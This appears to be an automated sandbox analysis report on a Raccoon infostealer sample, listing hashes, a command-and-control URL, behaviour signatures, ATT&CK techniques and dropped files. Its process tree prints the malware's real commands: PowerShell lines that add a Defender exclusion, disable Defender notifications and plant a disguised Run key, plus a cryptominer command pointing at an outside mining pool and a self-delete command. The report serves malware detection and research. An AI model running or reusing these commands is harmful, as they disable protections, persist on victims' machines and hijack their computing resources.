Analysis

  • max time kernel
    29s
  • max time network
    87s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    06-08-2021 08:23

General

  • Target

    0baccbb3c9954f8e20d00fcc7b9c8197.exe

  • Size

    461KB

  • MD5

    0baccbb3c9954f8e20d00fcc7b9c8197

  • SHA1

    fda8dcb393ee1ab90e788dfe4b3813d7bf04c2e5

  • SHA256

    11a5764ca8d515eb745b67a1d693fa3747873f80855cefd5eb7bf890cf0a7a8a

  • SHA512

    f0ee280452c2171702ade1ac7e30b298a95f2d3b4a230cb3fd309e0bf042fb575861a8eddee89ddd42d86b860a12f10bf3869e58a2e02bf4e5f3dd7c070f76de

Malware Config

Extracted

Family

raccoon

Botnet

2ca2376c561d1af7f8b9e6f3256b06220a3db187

Attributes
  • url4cnc

    https://telete.in/johnyes13

rc4.plain
rc4.plain

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Raccoon Stealer Payload 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 5 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 31 IoCs
  • Suspicious use of AdjustPrivilegeToken 48 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0baccbb3c9954f8e20d00fcc7b9c8197.exe
    "C:\Users\Admin\AppData\Local\Temp\0baccbb3c9954f8e20d00fcc7b9c8197.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:672
    • C:\Users\Admin\AppData\Local\Temp\olxz9BYt0R.exe
      "C:\Users\Admin\AppData\Local\Temp\olxz9BYt0R.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:8
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" Add-MpPreference -ExclusionPath C:\
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:860
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" Set-MpPreference -PUAProtection 1
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3880
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" Set-ItemProperty -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows Defender Security Center\\Notifications' -Name DisableNotifications -Value 1
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:736
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Remove-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'WindowsUpdate';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'WindowsUpdate' -Value '"C:\Users\Admin\AppData\Local\Temp\AutoWindowsUpdate\win32update.exe"' -PropertyType 'String'
        3⤵
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3940
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe --donate-level 0 --max-cpu-usage 25 -o pool.supportxmr.com:3333 -u 42DV3PMzPRnce6MpqpsRsocM4bocvTrZnZbEd5rpxSTSRRkizsGDobC76eZJg3bujm5ou32U11TdxdGcmPq4dzq7CBwVzzP.bitzep -p bitzep
        3⤵
          PID:3960
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 8 -s 1244
          3⤵
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:692
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\0baccbb3c9954f8e20d00fcc7b9c8197.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1420
        • C:\Windows\SysWOW64\timeout.exe
          timeout /T 10 /NOBREAK
          3⤵
          • Delays execution with timeout.exe
          PID:4056

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Persistence

    Registry Run Keys / Startup Folder

    1
    T1060

    Defense Evasion

    Modify Registry

    1
    T1112

    Credential Access

    Credentials in Files

    2
    T1081

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    1
    T1082

    Collection

    Data from Local System

    2
    T1005

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
      MD5

      17286868c0a043ae5d2ff5798b6a3163

      SHA1

      b83b23cd57c7fb2c937f5bc18aeb7ddc955b5401

      SHA256

      40321e18ed0b9eb7e3bc937d3e207ea2039ff45267483ddb4a51f7974475dac6

      SHA512

      e15c11982c0569a389a7dbd0889edd1ef9a8ffb21c0e8ffadebc10e1353f4485524b18ca8e041c66c98d05fb984544da122755e6c2a25728453aeaf4175bdee1

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      MD5

      cb61ea525050eb6e5a7a81ace12ae5ef

      SHA1

      631327bdb8346698b3496b81b9fae1e781578637

      SHA256

      62d07c2d5ce4c21aafd0e6e8bd17692a1250b741aee43efb8c8b8d24458b5d9a

      SHA512

      bc113f889c779bfa7a93bbaa5aa9bd8e4d9d503fc2a4c33a00b8c548be91c346ea7fc87eeba8777d2b248ec3938626d3389745bf9a86379fc4eacfc8ddf1251b

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      MD5

      e97607ad969fcbdd54ab1905aae374aa

      SHA1

      84f7c0f9cd0cc3dccdd5b5f88d93c07e7dae9599

      SHA256

      967014955cc94fe53872886b679662af2037fe4a9928f653ce1044a487e184f7

      SHA512

      3d82be09ec5c8e87a25f1d8a0b39565bef98e5d9c81a6847d7520472ff1d1faae642211886e97e29422a2b59576123de5bb4bbf266f03865551db52f1fd07bc6

    • C:\Users\Admin\AppData\Local\Temp\olxz9BYt0R.exe
      MD5

      90af24b84ea6b4583d9fac76dac6b9ab

      SHA1

      5184ec36d0a9f224e415b0b9cd6f3bd3ec0e4d85

      SHA256

      3c7010aca06054353d4747d9f240744f7a50258de83f37c10e6d5bc81afc6346

      SHA512

      45626ee20ce4fc7dfd418d359035e7b8dab55925f1e4785ea94b5ee65c6cf25ce4d5528046b527f68edaf421d3877a6bb6e0244e06cec2ad30f84e58aafc9236

    • C:\Users\Admin\AppData\Local\Temp\olxz9BYt0R.exe
      MD5

      90af24b84ea6b4583d9fac76dac6b9ab

      SHA1

      5184ec36d0a9f224e415b0b9cd6f3bd3ec0e4d85

      SHA256

      3c7010aca06054353d4747d9f240744f7a50258de83f37c10e6d5bc81afc6346

      SHA512

      45626ee20ce4fc7dfd418d359035e7b8dab55925f1e4785ea94b5ee65c6cf25ce4d5528046b527f68edaf421d3877a6bb6e0244e06cec2ad30f84e58aafc9236

    • \Users\Admin\AppData\LocalLow\sqlite3.dll
      MD5

      f964811b68f9f1487c2b41e1aef576ce

      SHA1

      b423959793f14b1416bc3b7051bed58a1034025f

      SHA256

      83bc57dcf282264f2b00c21ce0339eac20fcb7401f7c5472c0cd0c014844e5f7

      SHA512

      565b1a7291c6fcb63205907fcd9e72fc2e11ca945afc4468c378edba882e2f314c2ac21a7263880ff7d4b84c2a1678024c1ac9971ac1c1de2bfa4248ec0f98c4

    • \Users\Admin\AppData\LocalLow\wG3cB0qZ3rM5x\freebl3.dll
      MD5

      60acd24430204ad2dc7f148b8cfe9bdc

      SHA1

      989f377b9117d7cb21cbe92a4117f88f9c7693d9

      SHA256

      9876c53134dbbec4dcca67581f53638eba3fea3a15491aa3cf2526b71032da97

      SHA512

      626c36e9567f57fa8ec9c36d96cbadede9c6f6734a7305ecfb9f798952bbacdfa33a1b6c4999ba5b78897dc2ec6f91870f7ec25b2ceacbaee4be942fe881db01

    • \Users\Admin\AppData\LocalLow\wG3cB0qZ3rM5x\mozglue.dll
      MD5

      eae9273f8cdcf9321c6c37c244773139

      SHA1

      8378e2a2f3635574c106eea8419b5eb00b8489b0

      SHA256

      a0c6630d4012ae0311ff40f4f06911bcf1a23f7a4762ce219b8dffa012d188cc

      SHA512

      06e43e484a89cea9ba9b9519828d38e7c64b040f44cdaeb321cbda574e7551b11fea139ce3538f387a0a39a3d8c4cba7f4cf03e4a3c98db85f8121c2212a9097

    • \Users\Admin\AppData\LocalLow\wG3cB0qZ3rM5x\nss3.dll
      MD5

      02cc7b8ee30056d5912de54f1bdfc219

      SHA1

      a6923da95705fb81e368ae48f93d28522ef552fb

      SHA256

      1989526553fd1e1e49b0fea8036822ca062d3d39c4cab4a37846173d0f1753d5

      SHA512

      0d5dfcf4fb19b27246fa799e339d67cd1b494427783f379267fb2d10d615ffb734711bab2c515062c078f990a44a36f2d15859b1dacd4143dcc35b5c0cee0ef5

    • \Users\Admin\AppData\LocalLow\wG3cB0qZ3rM5x\softokn3.dll
      MD5

      4e8df049f3459fa94ab6ad387f3561ac

      SHA1

      06ed392bc29ad9d5fc05ee254c2625fd65925114

      SHA256

      25a4dae37120426ab060ebb39b7030b3e7c1093cc34b0877f223b6843b651871

      SHA512

      3dd4a86f83465989b2b30c240a7307edd1b92d5c1d5c57d47eff287dc9daa7bace157017908d82e00be90f08ff5badb68019ffc9d881440229dcea5038f61cd6

    • memory/8-121-0x0000000000000000-mapping.dmp
    • memory/8-125-0x0000024E992D0000-0x0000024E992D1000-memory.dmp
      Filesize

      4KB

    • memory/8-160-0x0000024EB3D90000-0x0000024EB3D92000-memory.dmp
      Filesize

      8KB

    • memory/8-140-0x0000024E9B450000-0x0000024E9B45A000-memory.dmp
      Filesize

      40KB

    • memory/672-115-0x0000000000400000-0x0000000002CAB000-memory.dmp
      Filesize

      40.7MB

    • memory/672-114-0x0000000004A00000-0x0000000004A93000-memory.dmp
      Filesize

      588KB

    • memory/736-225-0x0000021D61AB6000-0x0000021D61AB8000-memory.dmp
      Filesize

      8KB

    • memory/736-228-0x0000021D61AB8000-0x0000021D61AB9000-memory.dmp
      Filesize

      4KB

    • memory/736-169-0x0000021D61AB0000-0x0000021D61AB2000-memory.dmp
      Filesize

      8KB

    • memory/736-128-0x0000000000000000-mapping.dmp
    • memory/736-172-0x0000021D61AB3000-0x0000021D61AB5000-memory.dmp
      Filesize

      8KB

    • memory/860-148-0x0000020AF5D70000-0x0000020AF5D71000-memory.dmp
      Filesize

      4KB

    • memory/860-163-0x0000020AF5DB0000-0x0000020AF5DB2000-memory.dmp
      Filesize

      8KB

    • memory/860-165-0x0000020AF5DB3000-0x0000020AF5DB5000-memory.dmp
      Filesize

      8KB

    • memory/860-127-0x0000000000000000-mapping.dmp
    • memory/860-259-0x0000020AF5DB8000-0x0000020AF5DB9000-memory.dmp
      Filesize

      4KB

    • memory/860-196-0x0000020AF5DB6000-0x0000020AF5DB8000-memory.dmp
      Filesize

      8KB

    • memory/1420-124-0x0000000000000000-mapping.dmp
    • memory/3880-162-0x0000029E18A90000-0x0000029E18A92000-memory.dmp
      Filesize

      8KB

    • memory/3880-193-0x0000029E18A96000-0x0000029E18A98000-memory.dmp
      Filesize

      8KB

    • memory/3880-167-0x0000029E18A93000-0x0000029E18A95000-memory.dmp
      Filesize

      8KB

    • memory/3880-164-0x0000029E33130000-0x0000029E33131000-memory.dmp
      Filesize

      4KB

    • memory/3880-258-0x0000029E18A98000-0x0000029E18A99000-memory.dmp
      Filesize

      4KB

    • memory/3880-129-0x0000000000000000-mapping.dmp
    • memory/3940-174-0x0000016CF6783000-0x0000016CF6785000-memory.dmp
      Filesize

      8KB

    • memory/3940-173-0x0000016CF6780000-0x0000016CF6782000-memory.dmp
      Filesize

      8KB

    • memory/3940-231-0x0000016CF6788000-0x0000016CF6789000-memory.dmp
      Filesize

      4KB

    • memory/3940-233-0x0000016CF6786000-0x0000016CF6788000-memory.dmp
      Filesize

      8KB

    • memory/3940-147-0x0000000000000000-mapping.dmp
    • memory/3960-170-0x0000000000400000-0x0000000000E14000-memory.dmp
      Filesize

      10.1MB

    • memory/4056-130-0x0000000000000000-mapping.dmp